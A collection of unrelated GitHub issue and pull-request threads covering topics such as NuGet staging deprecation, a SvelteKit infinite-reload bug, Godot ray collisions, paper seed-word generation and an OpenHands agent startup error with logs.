1.13.0

smarty
imp
0.3.0

mssql
ms-
1.6.0

/needsMoreInfo
Does it work as expected when you use TS 3.6 to compile your project?
Most likely it will have same errors and there are two options:

Update typings for redux, react-redux etc and/or your project to versions that support TS 3.6.
Use same TS version as your compilation uses. See docs how to use custom TS versions


Deprecate staging.nuget.org

MSA/AAD login won't work for this environment. Use https://int.nugettest.org

What should staging.nuget.org do? Redirect to int.nugettest.org?

@anangaur , can we announce this? How long after announcement can we  move forward with the deprecation?

we should do a permanent redirect to int.nugettest.org for this url. The AAD reply URL can't be configured with multiple domains(its configured for nugettest.org so nuget.org is not an option)

Yup. This can be easily be done in the web.config. In fact we already have examples in there for other domain names.

@anangaur yes.

After further review, it became clear that redirecting staging.nuget.org to int.nugettest,org will involve uploading prod ssl cert to int, which will be insecure. We decided to deprecate the dns and update docs.

staging.nuget.org is deprecared. https://int.nugettest.org should be used.


Update tests for analysis workflow functions

Overview
added yaml files to tests/testthat/testdata for use in analysis workflow tests and added tests double programming with yaml workflows for relevant functions.
closes #1551
Test Notes/Sample Code

Notes:

needs some sprucing up. @lauramaxwell will update this next week during the v2 qc/documentation blitz.

100% test coverage for the files mentioned in #1551 🎉🎉🎉

Back to draft until I review #1666. That will impact this one a lot so I'd rather finish that review before finalizing this.


Using timer service instead of crontab to send ping to Amboss

What
What is the reason of this change?
The modification was initiated to address a specific issue where the curl command, responsible for sending the ping, could become unresponsive and consume 100% of a CPU's capacity. This problem was particularly evident during an incident where the internet was unavailable for an extended period, like a one-hour power outage. To prevent such occurrences, the service has been configured with a runtime limit to avoid the issue of the script getting stuck.
Why
If the ping script becomes stuck, it not only consumes excessive CPU resources but also potentially impacts the overall performance and reliability of the system. Moreover, in situations where each instance of the script doesn't terminate as expected, it could lead to cumulative resource drainage. This change is crucial to ensure that system resources are managed efficiently and to maintain the stability and responsiveness of the monitoring service.
How
The service has been enhanced with the RuntimeMaxSec option, which is set to 60 seconds. This means that if the script does not complete its execution within 60 seconds, Linux will automatically terminate the ping script. This safety mechanism ensures that no single instance of the script can monopolize CPU resources indefinitely, thereby protecting the system from potential overloads and maintaining the consistent performance of the monitoring tasks.
Scope

[ ] significant change to core configuration
[ ] independent bonus guide
[x] simple bug fix

Fixes # (link issue)
Test & maintenance
The script is currently operational, and the performance and status of my node, named "SatsForFreedom," can be verified in real-time on Amboss.

Sorry. I made a mistake by pushing another improvement using the same branch. I made a force-push to fix it.

Sorry. I need to close this pull-request due to issues in my fork. I recreate it in a new pull-request #1406 and apply the changes above.


Predictable Traffic Patterns

This PR adds functionality to allow for creation of traffic patterns with a configurable level of predictability (1 for a constant repeatable traffic pattern)

Pretty cool. Just not sure how much communication/documentation is needed to get the player to understand the challenge, or how to implement an algorithm that adapts to traffic patterns. It would feel like cheating to expose an API that reveals the traffic patterns. And currently there is no concept of having the algorithm be trained over several cycles (days). Will have to consider this feature a bit.


MlutiClass Label

Thank you so much for your amazing effort to simplify BERT
i have dataset which has 1, 2, 3 for class column
so i have the id , text, class (1, 2, 3 )
how can i change this inside the code to train on 1,2,3 not 0 ,1
Thank you

@MazenSalama hi， You can try https://github.com/lonePatient/BERT-chinese-text-classification-pytorch，it is a multi-class problem


Sync: Skip First time Sync dialog if nothing changed

Testing  https://github.com/microsoft/vscode/issues/91226 on Windows

Turn on Sync
Turn off Sync
Turn on Sync

The First time Sync dialog comes up:

A few things:

The title of the dialog looks weird, should it rather just be Sync?
The first sentence is also missing a pronoun. Passive suggestion: It looks like this is the first time Sync is set up.
Could we skip this dialog altogether, if we preemptively detect there are no changes coming in from the cloud?

Updated the labels.
Will look into skipping this dialog if nothing has changed in next milestone.

Could not verify due to https://github.com/microsoft/vscode/issues/94223, removing the tag so someone else can try

Verified the language in the dialog.


Fix compilation break on latest RIOT-OS version

Contribution description

Update RIOT-OS submodule to the latest version.
Fixes a compilation error using the latests RIOT-OS version as described in the following Link:
https://github.com/RIOT-OS/RIOT/pull/16055

Testing procedure
Run the following in the root folder:
make

or
make BOARD=m4a-mb

Issues/PRs references
RIOT-OS; https://github.com/RIOT-OS/RIOT/pull/16055
This PR fix #43

Ok i will  squash all commits to one

ready @eduazocar squashed


Black theme not applied to hamburger menu

Thanks for the black theme. I believe you forgot to apply it to the hamburger menu. It is still light grey, not dark grey.

It's not an oversight. The drawer is a kind of popup, as it's a layer on top of the background, so it takes the same "2nd layer" color.
To be precise, the black theme currently uses these:

1st layer: 0x000000
2nd layer: 0x212121
3rd layer: 0x303030

while the dark theme uses these:

1st layer: 0x212121
2nd layer: 0x363636
3rd layer: 0x424242

So, are you suggesting that popups in black theme should all be darker? Or that the drawer is supposed to be pure black like the background and not be consistent with other popups?

The hamburger menu should be the same color as the other popups in black mode.

It may be an optical illusion.
Here's a composite screenshot, with the pop-up menu on the left and drawer on the right, and you can see it is the same tone.

If you still think they are actually different on your device, maybe there's a bug, but please provide screenshots in that case.

I think this problem exists:

What problem? In your screenshots it's still the same tone, so what are you talking about?


Doesn't render new property form correctly

The page at http://localhost:3000/properties/5bd3a1de22167764eb257dba should render as shown below:

compared to the following screenshot:

Let me know if you need more info to reproduce.

@joliveros, I changed a bit the reservation process because I think the owner should not be able to make a reservation on his properties. That's why your property only has Edit and Delete actions available. I will change the render of the properties in the index view to make it look like in the old version and let you know to try again. Just a question, what version are you comparing with? That's no the asp .net original version, right?

Hi @maylonpedroso
I've been comparing against https://github.com/TwilioDevEd/airtng-node
which is the original tutorial I believe. The old asp.net may have been a little off.

Try this: https://github.com/TwilioDevEd/airtng-csharp-dotnet-core/pull/3


Support for special value viewers in Greenplum

Is your feature request related to a problem? Please describe.
GIS data in Greenplum cannot be displayed on a map (using the GeoViewer).
The PostgreSQL driver supports special views for types such as geometry, geography, enums, and so on...
These views are not available when using the Greenplum driver.
Describe the solution you'd like
Migrate data value views from the PostgreSQL driver into the Greenplum driver.
Specifically, adding support for the GIS view when using the Greenplum driver.
Describe alternatives you've considered
One can connect to Greenplum using the PostgreSQL driver, instead of using the Greenplum driver.
The problem is that Greenplum has a slightly different dialect and partitioning scheme, so working with the PostgreSQL driver is not very convenient. For example, Greenplum's CREATE TABLE command supports the DISTRIBUTED BY specification, which does not exist in the PostgreSQL dialect.
Additional context

Hello @nirco1983,
Can you please try downloading early access version to see if spatial viewer is available for geometry types?
Thank you in advance.

Hello @nirco1983,
Can you please try downloading early access version to see if spatial viewer is available for geometry types?
Thank you in advance.

There was no activity for a long time, so I will close this issue for now.


UHD: UDF issue seen in tcp and udp

In UHD, when setting the src port in increment or value_list, the captured packet is not showing the value set in UI.

Issue is fixed


Infinite refresh running vite with SvelteKit

Describe the bug
I have an inifinite refresh when opened in the browser with vitejs and sveltekit
[vite] new dependencies found: js-cookie, updating...
[vite] ✨ dependencies updated, reloading page...

Reproduction

Install dependencies with npm install
Start app using npm run dev or yarn dev
Open the app in a browser

Logs
No response
System Info
vite version: 2.4.3
sveltekit: 1.0.0-next.137
@sveltejs/vite-plugin-svelte: 1.0.0-next.14
Operating System: ubuntu
Node version: v14.17
Package manager: npm 7.20.1

Severity
blocking all usage of SvelteKit
Additional Information
No response

What URL are you visiting to see the app? I'm seeing this refreshing with http://<IP_ADDRESS>:3000/ but it works fine with http://localhost:3000/

I'm trying both, randomly it works :(

2.4.4 is the most recent version of Vite now, by the way, not 2.4.3.

I have setup the project 4 days ago with the command npm init svelte@next . I'll try vite 2.4.4.

@Conduitry i have npm ERR! notarget No matching version found for<EMAIL_ADDRESS>

@mmarchois  i noticed you have filed a similar issue on vites repository https://github.com/vitejs/vite/issues/4406  please don't cross-post or at least mention the other issues if you do. Not everyone is following both repos and missing information from one side may cause extra work.
If you are not sure where to file an issue, you can ask on svelte discord

Can't reproduce with pnpm init svelte@next
Please provide a repository and detailed steps on how to reproduce the issue if possible.
It would also help if you posted debug logs from while it's happening.
To enable debug logging, start it like this: DEBUG="vite:*" npm run dev

I'm experiencing the same issue. I have no possible explanation but it occurs after a clean install with npm init svelte@next my-app and then installing and importing d3-scale (import {scaleLinear} from 'd3-scale';) into src/routes/index.svelte. I tried other node modules but so far only d3-scale caused this issue.

adding d3-scale to a fresh skeleton project's index.svelte does not cause ininite reload for me, it causes a http 500 error.
@Flave , @mmarchois
Please provide a link to a repository where this problem is reproducible. It would also help if you provided logs of when it's happening. You can use DEBUG="vite:*" npm run dev to start the devserver and don't forget to also include browser console output.
this may be a vite issue, see  https://github.com/vitejs/vite/issues/4463

it is noted that the production build works perfectly...

504 hints at a network setup issue though i wonder how that could happen on localhost.
I also find it hard to believe that you don't have access to console logs or browser logs during dev. Unless you start to provide the information i've asked for twice, i'm not going to respond here anymore.

Same here. If you add a dep or event change package.json or package-lock.json manually it re-compile all "temp" files.
For it to work I need to stop and restart npm run dev many times!

@dominikg For privacy reasons I can't share code :(
It's like the nodejs event loop is not responding anymore.
I can share the logs of the DEBUG="vite:*" npm run dev command

We always have this kind of logs dependencies updated, reloading page
10:25:53 [vite] new dependencies found: uuid, rfplayer-plugin-hls-adapter, rfplayer-plugin-html5-sound-adapter/src/index, rfplayer-plugin-live-api, rfplayer-plugin-kirby, rfplayer-plugin-smarttag, rfplayer/dist/rfplayer, updating...
10:25:53 [vite] ✨ dependencies updated, reloading page...

We always have this kind of logs dependencies updated, reloading page
10:25:53 [vite] new dependencies found: uuid, rfplayer-plugin-hls-adapter, rfplayer-plugin-html5-sound-adapter/src/index, rfplayer-plugin-live-api, rfplayer-plugin-kirby, rfplayer-plugin-smarttag, rfplayer/dist/rfplayer, updating...
10:25:53 [vite] ✨ dependencies updated, reloading page...

Does this have anything to do with https://vitejs.dev/guide/dep-pre-bundling.html

Same here. I need to stop server many times before I can work. Everytime I change a dependency. Very bad.

@dominikg Same issue here, we have so many 504 errors, it must come from the fact that the event loop is blocked or something, anyway, we make requests to the server any more.
when we run it in production mode (svelte-kit build), it works.

Same here. I try to stop and start server many times. It doesn't work. Like @elfakamal in production mode it works. With DEBUG=vite:* i don't have any more information about the issue

Hi,
Same problem here. The application keeps reloading and updating new dependencies with each npm run dev. In the browser, I have infinite loading that ends in 504 error.
Everything is working in npm run build / npm run preview

1.0.0-next.146 fixes the issue for me (Windows 10).
I think that now I will cry with happiness.

@mmarchois try and close this issue.

@frederikhors Same issue with 146. To make it work, I need to comment out the import of an external library

@mmarchois with 146 it works for me. I'm crying with happiness.
Can you post your svelte.config.js?

@frederikhors my svelte.config.js :
import preprocess from 'svelte-preprocess';
import svelteKitNodeAdapter from '@sveltejs/adapter-node';
import postcssImport from 'postcss-import';
import postcssMixins from 'postcss-mixins';
import postcssNested from 'postcss-nested';
import postcssCustomMedia from 'postcss-custom-media';
import postcssCustomProperties from 'postcss-custom-properties';
import autoprefixer from 'autoprefixer';
import postcssPresetEnv from 'postcss-preset-env';
import postcssGlobalNested from 'postcss-global-nested';
import cssnano from 'cssnano';
import precompileIntl from 'svelte-intl-precompile/sveltekit-plugin.js';

import { resolve } from 'path';

/** @type {import('@sveltejs/kit').Config} */
const config = {
  // Consult https://github.com/sveltejs/svelte-preprocess
  // for more information about preprocessors
  preprocess: preprocess({
    postcss: {
      plugins: [
        postcssImport(),
        postcssMixins,
        autoprefixer,
        postcssCustomMedia({
          importFrom: [
            './src/assets/styles/__customMedia.css',
          ]
        }),
        postcssCustomProperties(),
        postcssPresetEnv({
          stage: 3,
          features: {
            'nesting-rules': true,
          },
        }),
        postcssNested(),
        postcssGlobalNested(),
        cssnano({
          preset: 'default',
        }),
      ],
    }
  }),
  kit: {
    // hydrate the
 element in src/app.html
    target: '#svelte',
    adapter: svelteKitNodeAdapter(),
    vite: {
      plugins: [
        precompileIntl('locales'),
      ],
      resolve: {
        alias: {
          assets: resolve('./src/assets'),
          components: resolve('./src/components'),
          helpers: resolve('./src/helpers'),
          lib: resolve('./src/lib'),
          auth: resolve('./src/auth'),
          pages: resolve('./src/pages'),
          providers: resolve('./src/providers'),
          repositories: resolve('./src/repositories'),
          services: resolve('./src/services'),
          src: resolve('./src'),
          stores: resolve('./src/stores'),
        }
      }
    }
  },
};

export default config;

I don't know.
Can you please remove everything (node_modules, package-lock.json, svelte dirs)?
You can use git clean -fdx (please be aware this remove everything not commited).

I remove all of them, but nothing change :(
Can you share your svelte config ?

It is simple:
import preprocess from "svelte-preprocess";
import adapter from "@sveltejs/adapter-static";

/** @type {import('@sveltejs/kit').Config} */
const config = {
  // Consult https://github.com/sveltejs/svelte-preprocess
  // for more information about preprocessors
  preprocess: preprocess(),

  kit: {
    // hydrate the
 element in src/app.html
    target: "#svelte",

    adapter: adapter({
      fallback: "200.html",
    }),

    vite: {
      optimizeDeps: {
        include: ["broadcast-channel"],
      },
    },

    ssr: false,

    appDir: "app",
  },
};

export default config;

we removed an external dependency and the project build again. I'm going to dig into this to find out why (esm?)

I don't know but 146 fixes all my issues! :)

When I delete the folders node_modules/.vite as well as .svelte-kit, and then rebuild, it seems to work again. However, I am required to do this each time the inifinite refresh occurs which is quite often and which is pretty frustrating too!

@niketpathak this was before 146 for me.

@frederikhors , I am already on SvelteKit v1.0.0-next.146 and it still happens for me.

Windows or what? Node version?

I'm on Ubuntu 20.04 running Node 14.17 LTS

Please set up a repro to save everyone's time, as requested by dominik many times.

yep, gonna do that! Thanks!

hello, a quick update, I tried to create a new repo to try to reproduce the issue, however, I wasn't able to reproduce it. Also, after having updated to SvelteKit v1.0.0-next.151, the problem seems to have gone away! So I won't be digging deeper into it anymore!

Given that there is not reproduction for this issue and multiple people have reported the problem solved I'm going to close this. If you're still hitting the issue please file a new issue with a reproduction. There's no way for us to investigate this bug otherwise


Detect cycle in undirected graph using bfs and dfs

Hello,
I am GSSOC'21 participant.
I will explain the question , approach, code, time complexity, space complexity.
The code will be quite simple to understand .
Also 3 test cases will be provided for each.
Please assign this issue to me .

@rudrakshi99 I  would like solve this issue in C++. Please assign this issue to me.

I am a GSSOC'21 participant and I wish to work on this using C++. Hope to hear back from you .
Thank you .

Please assign me the same issue in Python.


Cutting the number of scissor cuts

Regarding  cutting 2048 pieces of paper: Cutting all of them would take a looong time. And the pieces would become really miniscule.
Would you consider linking to the SeedPicker cutouts instead, to decrease the number of pieces to 342? Full entropy is achieved using a look-up table and one six-side die.
You could also just copy them over here if you like.

I like the cutouts (it's more elegant!), but I think it's more complicated for the average user. The ultimate goal is for packs of 2048 words (already cut out) to be included by HW wallet manufactures with their wallets, sold on sites like Amazon, and even sold over lightning. If you have a paper cutter and a  large single single sheet of paper (see issue #2), then it's only 11 cuts. Not ideal but not terrible either.
For advanced users, I think it makes a lot of sense. I've added them here (commit here, revisions welcome):
https://btcguide.github.io/setup-wallets/paper-advanced#use-seedpicker-cutouts

Fair enough, these are some hard tradeoffs. I have spent more hours than I'd like to admit on how to do this the best way.
One problem with having pre-made packs of cards or paper slips is that it would be tedious to verify - between sessions - that an attacker has not switched some of them to offset the probability in their favor.
One idea I had was to have a large pre-printed, framed horizontal "poster" with all the words, and roll a metal or glass ball over it, then choose the word where the ball stops. But that has its own challenges, e.g. how to place the words to get exactly the same probability for every word. :)

log(2048**23,2) is 253 bits of entropy. If the list contains any false words, decent software (like seedpicker) will trivially catch it.
If the list contains the same words repeated a few times, the entropy here is still massive. Let's say it's secretly only 128 words (each repeated 16x), and you somehow don't catch that because you don't thoroughly inspect them. log(128**23,2) is still 161 bits of entropy.
In other words, even someone with a poor understanding of cryptography should be able to count that there are indeed 2048 words in the bag and that alone is sufficient to say attacking this is incredibly hard (especially if it's part of a multisig scheme where you need to get >1 seeds to steal funds).
To me, the next obvious defense is to sell the words in alphabetical order (kind of like a new deck of cards). That should make it easier for the person inspecting the words to verify they're legit. Of course you have to shake your bag of words up thoroughly now, but again that's a meatspace cryptography problem that most people intuitively understand (like shuffling a deck of cards).
If anything, there's a strong defense of lowering the length of the default seed phrase to something like 16 words. But, once you're at the point where you're etching something in metal, the tiny bit extra of metal is probably well worth the being able to sleep at night part.


The RAY always collide to AREA (3.0 beta1)

Operating system or device, Godot version, GPU Model and driver (if graphics related):
Ubuntu 16.04, Godot 3.0 Beta 1
Link to minimal example project:
Bug area.zip
P.S. Godot Phisics

Hello, you should  add a little more detailed informations. The issue is probably about the lack of collision types in 3.0 which is done  intentionally #13159  In 3.0 you should use normal mechanism of collision layers to handle this.

I want AREA not to be an obstacle to RAY. So the weapon of character uses RAY as a target. It must see enemies rather than triggers.

so you need to have your areas on different collision layer than your ray

@DimaKiva Did you fix this?

@AndreaCatania No. GodotPhysics return Area, Bullet return Null.

Fixed in current master:  #8c435a3 can you please confirm it?

3.1-alpha1 The problem is no longer there.

Closing as fixed.


Llama2 support for BedrockChat

Amazon recently announced support for Meta's Llama2 13B parameter model in the Amazon Bedrock service. This is not yet supported in langchain, and being a new model provider there is no payload mapper either.

I am working on this now 👍


Modify all components which listen for inter-component connections to use TLS

All components (router / configserv / queuescheduler / console / subserv / ragent) which expose a listening port for other components to connect to should also have a TLS enabled port solely for connections from other components.  The Port must require TLS client cert authentication (and use EXTERNAL as the only available SASL mechanism).  The port should accept only client certs signed by the address space (intermediate) CA, and the certificate of the address controller.

Fixed past sprint


Fix: do not include engine.h when OPENSSL_NO_ENGINE is defined

this fixes a compile error:
ENGINE is disabled.

Yes. will you merge it, @richsalz ?

Sure will merge.

was already fixd as part of the 1288f26fb9c3cfe6c5919b706e30d3f0b2d55b0b for the uefi no-XXX fixes.


import Card from @chakra-ui/card instead of /react

Closes https://discord.com/channels/660863154703695893/1044908921560776744/1044908921560776744
📝 Description
The docs page says to import the Card components from @chakra-ui/react, however that doesn't seem to currently work, which causes confusion. This PR fixes the import.
💣 Is this a breaking change (Yes/No):
No

Hey @JTBrinkmann I'm able to import Card from @chakra-ui/react. See sandbox: https://codesandbox.io/s/card-theming-u59b08

Closing based on @estheragbaje's comment


Download failed almost each time

Hi,
Got an issue while downloading all types of files (mkv,iso ...)
When I add the download, it starts normally then failed just before the end
I need to add the URL again to correctly end the download.
Is there something planned for this ?

Is this feature?
https://github.com/agalwood/Motrix/wiki/Release-Note-v1.4.x#resume-download-failed-task

If you hold the keyboard key “Alt (options)” and click the “Resume button”, the Add Task Dialog will appear.


[Bug]: Agent Controller enters AgentState.ERROR due to state restoration failure

Is there an existing issue for the same bug?

[X] I have checked the existing issues.

Describe the bug and reproduction steps
What happened?
Description:
When running the OpenHands server (version 0.12), the following sequence occurs, ending with the agent entering AgentState.ERROR. The system fails to restore the agent state from a previous session, and the agent does not recover. This issue may relate to missing configuration for GITHUB_USER_LIST_FILE and GITHUB_USERS_SHEET_ID.
Steps to Reproduce:

Start the OpenHands server.
Observe the logs for the initialization sequence and application startup.
Note that the Agent Controller attempts to restore the state and subsequently enters the ERROR state.

Expected Behavior:
The Agent Controller should restore the state from the session file without issues or should provide a clear recovery path if the session file is not found.
Actual Behavior:

The log shows a warning indicating failure to restore state:
Failed to restore state from session: sessions/a87fa5a6-1c7b-4a62-aeec-615373c5e556/agent_state.pkl
The agent then proceeds to enter AgentState.ERROR after multiple initialization attempts.

Environment:

OpenHands version: 0.12
Environment details:

Docker Desktop 4.35.1
Windows 10 Version 22H2 (19045.5011)
Browser: Google Chrome
API Key Used: OpenAI (currently)
Prior Attempted Model: OpenRouter with Anthropic Claude Haiku 3.5 (encountered similar issue but logs not available), now using OpenAI model GPT-4o-mini

Additional Information:

GITHUB_USER_LIST_FILE and GITHUB_USERS_SHEET_ID are not configured, which may be related to this issue.
The runtime container initializes and waits for the client at http://host.docker.internal:38461.
If there are required configuration settings or known workarounds for state restoration, please provide further guidance.

OpenHands Installation
Docker command in README
OpenHands Version
0.12
Operating System
WSL on Windows
Logs, Errors, Screenshots, and Additional Context
Relevant log output
2024-11-08 11:15:59
2024-11-08 11:15:59 Starting OpenHands...
2024-11-08 11:15:59 Running OpenHands as root
2024-11-08 11:16:39 INFO:     Started server process [10]
2024-11-08 11:16:39 INFO:     Waiting for application startup.
2024-11-08 11:16:39 INFO:     Application startup complete.
2024-11-08 11:16:39 INFO:     Uvicorn running on http://<IP_ADDRESS>:3000 (Press CTRL+C to quit)
2024-11-08 11:17:05 INFO:     <IP_ADDRESS>:39640 - "GET / HTTP/1.1" 200 OK
2024-11-08 11:17:05 INFO:     <IP_ADDRESS>:39640 - "GET /locales/en/translation.json HTTP/1.1" 200 OK
2024-11-08 11:17:05 INFO:     <IP_ADDRESS>:39640 - "GET /favicon.ico HTTP/1.1" 200 OK
2024-11-08 11:17:05 INFO:     <IP_ADDRESS>:39640 - "GET /config.json HTTP/1.1" 200 OK
2024-11-08 11:17:05 INFO:     <IP_ADDRESS>:39640 - "GET /config.json HTTP/1.1" 200 OK
2024-11-08 11:17:06 INFO:     <IP_ADDRESS>:39640 - "GET /api/options/models HTTP/1.1" 200 OK
2024-11-08 11:17:06 INFO:     <IP_ADDRESS>:39646 - "GET /api/options/security-analyzers HTTP/1.1" 200 OK
2024-11-08 11:17:06 INFO:     <IP_ADDRESS>:39658 - "GET /api/options/agents HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56610 - "GET / HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56610 - "GET /assets/root-C13iIuce.css HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56620 - "GET /assets/manifest-4225960c.js HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56628 - "GET /assets/components-Bd8d2nMd.js HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56626 - "GET /assets/entry.client-1n4ZPLSW.js HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56610 - "GET /assets/index-CB_aKBva.js HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56620 - "GET /assets/socket-B39-LSlI.js HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56642 - "GET /assets/react-redux-DzUTqGNF.js HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56654 - "GET /assets/jsx-runtime-zhgTtAea.js HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56626 - "GET /assets/store-CT-MXBfU.js HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56620 - "GET /assets/index-DvhLSMS6.js HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56642 - "GET /assets/router-CQIzOUUf.js HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56628 - "GET /assets/i18nInstance-DCxlOlkw.js HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56654 - "GET /assets/AgentState-DCyv5jZT.js HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56626 - "GET /assets/codeSlice-IFyzp_hl.js HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56610 - "GET /assets/agentSlice-0xeL04tr.js HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56642 - "GET /assets/index-BgBamcox.js HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56628 - "GET /assets/root-CjnzvPFH.js HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56628 - "GET /locales/en/translation.json HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56642 - "GET /favicon.ico HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56642 - "GET /config.json HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56628 - "GET /config.json HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56628 - "GET /api/options/models HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56642 - "GET /api/options/agents HTTP/1.1" 200 OK
2024-11-08 11:17:15 INFO:     <IP_ADDRESS>:56626 - "GET /api/options/security-analyzers HTTP/1.1" 200 OK
2024-11-08 11:17:23 INFO:     <IP_ADDRESS>:56670 - "GET / HTTP/1.1" 200 OK
2024-11-08 11:17:23 INFO:     <IP_ADDRESS>:56670 - "GET /locales/en/translation.json HTTP/1.1" 200 OK
2024-11-08 11:17:24 INFO:     <IP_ADDRESS>:56670 - "GET /config.json HTTP/1.1" 200 OK
2024-11-08 11:17:24 INFO:     <IP_ADDRESS>:56670 - "GET /config.json HTTP/1.1" 200 OK
2024-11-08 11:17:24 INFO:     <IP_ADDRESS>:56670 - "GET /api/options/models HTTP/1.1" 200 OK
2024-11-08 11:17:24 INFO:     <IP_ADDRESS>:33110 - "GET /api/options/agents HTTP/1.1" 200 OK
2024-11-08 11:17:24 INFO:     <IP_ADDRESS>:33122 - "GET /api/options/security-analyzers HTTP/1.1" 200 OK
2024-11-08 11:18:12 INFO:     <IP_ADDRESS>:39544 - "GET /config.json HTTP/1.1" 200 OK
2024-11-08 11:18:12 05:48:12 - openhands:INFO: github.py:14 - Initializing UserVerifier
2024-11-08 11:18:12 05:48:12 - openhands:INFO: github.py:27 - GITHUB_USER_LIST_FILE not configured
2024-11-08 11:18:12 05:48:12 - openhands:INFO: github.py:48 - GITHUB_USERS_SHEET_ID not configured
2024-11-08 11:18:12 05:48:12 - openhands:INFO: github.py:85 - No user verification sources configured - allowing all users
2024-11-08 11:18:12 INFO:     ('<IP_ADDRESS>', 39552) - "WebSocket /ws" [accepted]
2024-11-08 11:18:12 05:48:12 - openhands:INFO: listen.py:336 - New session: a87fa5a6-1c7b-4a62-aeec-615373c5e556
2024-11-08 11:18:12 INFO:     connection open
2024-11-08 11:18:13 INFO:     <IP_ADDRESS>:39544 - "GET /config.json HTTP/1.1" 200 OK
2024-11-08 11:18:13 05:48:13 - openhands:INFO: base.py:98 - [runtime a87fa5a6-1c7b-4a62-aeec-615373c5e556] Starting runtime with image: docker.all-hands.dev/all-hands-ai/runtime:0.12-nikolaik
2024-11-08 11:18:17 05:48:17 - openhands:INFO: base.py:98 - [runtime a87fa5a6-1c7b-4a62-aeec-615373c5e556] Container started: openhands-runtime-a87fa5a6-1c7b-4a62-aeec-615373c5e556
2024-11-08 11:18:17 05:48:17 - openhands:INFO: base.py:98 - [runtime a87fa5a6-1c7b-4a62-aeec-615373c5e556] Waiting for client to become ready at http://host.docker.internal:38461...
2024-11-08 11:19:32 05:49:32 - openhands:INFO: base.py:98 - [runtime a87fa5a6-1c7b-4a62-aeec-615373c5e556] Runtime is ready.
2024-11-08 11:19:33 05:49:33 - openhands:WARNING: state.py:118 - Failed to restore state from session: sessions/a87fa5a6-1c7b-4a62-aeec-615373c5e556/agent_state.pkl
2024-11-08 11:19:33 05:49:33 - openhands:INFO: agent_controller.py:135 - [Agent Controller a87fa5a6-1c7b-4a62-aeec-615373c5e556] Starting step loop...
2024-11-08 11:19:33 05:49:33 - openhands:INFO: agent_controller.py:135 - [Agent Controller a87fa5a6-1c7b-4a62-aeec-615373c5e556] Setting agent(CodeActAgent) state from AgentState.LOADING to AgentState.INIT
2024-11-08 11:19:33 05:49:33 - openhands:INFO: agent_controller.py:135 - [Agent Controller a87fa5a6-1c7b-4a62-aeec-615373c5e556] Setting agent(CodeActAgent) state from AgentState.INIT to AgentState.RUNNING
2024-11-08 11:19:33 05:49:33 - openhands:INFO: github.py:14 - Initializing UserVerifier
2024-11-08 11:19:33 05:49:33 - openhands:INFO: github.py:27 - GITHUB_USER_LIST_FILE not configured
2024-11-08 11:19:33 05:49:33 - openhands:INFO: github.py:48 - GITHUB_USERS_SHEET_ID not configured
2024-11-08 11:19:33 05:49:33 - openhands:INFO: github.py:85 - No user verification sources configured - allowing all users
2024-11-08 11:19:33 INFO:     <IP_ADDRESS>:53844 - "GET /config.json HTTP/1.1" 200 OK
2024-11-08 11:19:33 INFO:     <IP_ADDRESS>:53844 - "GET /config.json HTTP/1.1" 200 OK
2024-11-08 11:19:33 INFO:     <IP_ADDRESS>:53830 - "GET /api/list-files HTTP/1.1" 200 OK
2024-11-08 11:19:33 05:49:33 - openhands:INFO: github.py:14 - Initializing UserVerifier
2024-11-08 11:19:33 05:49:33 - openhands:INFO: github.py:27 - GITHUB_USER_LIST_FILE not configured
2024-11-08 11:19:33 05:49:33 - openhands:INFO: github.py:48 - GITHUB_USERS_SHEET_ID not configured
2024-11-08 11:19:33 05:49:33 - openhands:INFO: github.py:85 - No user verification sources configured - allowing all users
2024-11-08 11:19:33 INFO:     <IP_ADDRESS>:53830 - "GET /api/list-files HTTP/1.1" 200 OK
2024-11-08 11:19:33 05:49:33 - openhands:INFO: github.py:14 - Initializing UserVerifier
2024-11-08 11:19:33 05:49:33 - openhands:INFO: github.py:27 - GITHUB_USER_LIST_FILE not configured
2024-11-08 11:19:33 05:49:33 - openhands:INFO: github.py:48 - GITHUB_USERS_SHEET_ID not configured
2024-11-08 11:19:33 05:49:33 - openhands:INFO: github.py:85 - No user verification sources configured - allowing all users
2024-11-08 11:19:33 INFO:     <IP_ADDRESS>:53844 - "GET /api/list-files HTTP/1.1" 200 OK
2024-11-08 11:19:34
2024-11-08 11:19:34
2024-11-08 11:19:34 ==============
2024-11-08 11:19:34 [Agent Controller a87fa5a6-1c7b-4a62-aeec-615373c5e556] LEVEL 0 LOCAL STEP 0 GLOBAL STEP 0
2024-11-08 11:19:34
2024-11-08 11:19:34
2024-11-08 11:19:34 Give Feedback / Get Help: https://github.com/BerriAI/litellm/issues/new
2024-11-08 11:19:34 LiteLLM.Info: If you need to debug this error, use `litellm.set_verbose=True'.
